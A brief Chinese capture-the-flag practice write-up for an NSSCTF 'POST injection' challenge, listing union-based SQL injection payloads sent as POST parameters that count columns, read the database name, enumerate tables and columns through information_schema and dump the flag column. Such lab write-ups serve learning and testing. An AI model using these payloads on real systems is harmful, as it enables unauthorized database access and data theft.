NSSCTF练习记录：POST注入

题目：

用hackbar的POST传参

id=1

可以尝试sql注入

id=1 order by 2

判断出应该有2列

id=-1 union select 111,database()

id=-1 union select 111,group_concat(table_name) from information_schema.tables where table_schema='test'

id=-1 union select 111,group_concat(column_name) from information_schema.columns where table_name='f1ag_table'

id=-1 union select 111,group_concat(i_am_f1ag_column) from f1ag_table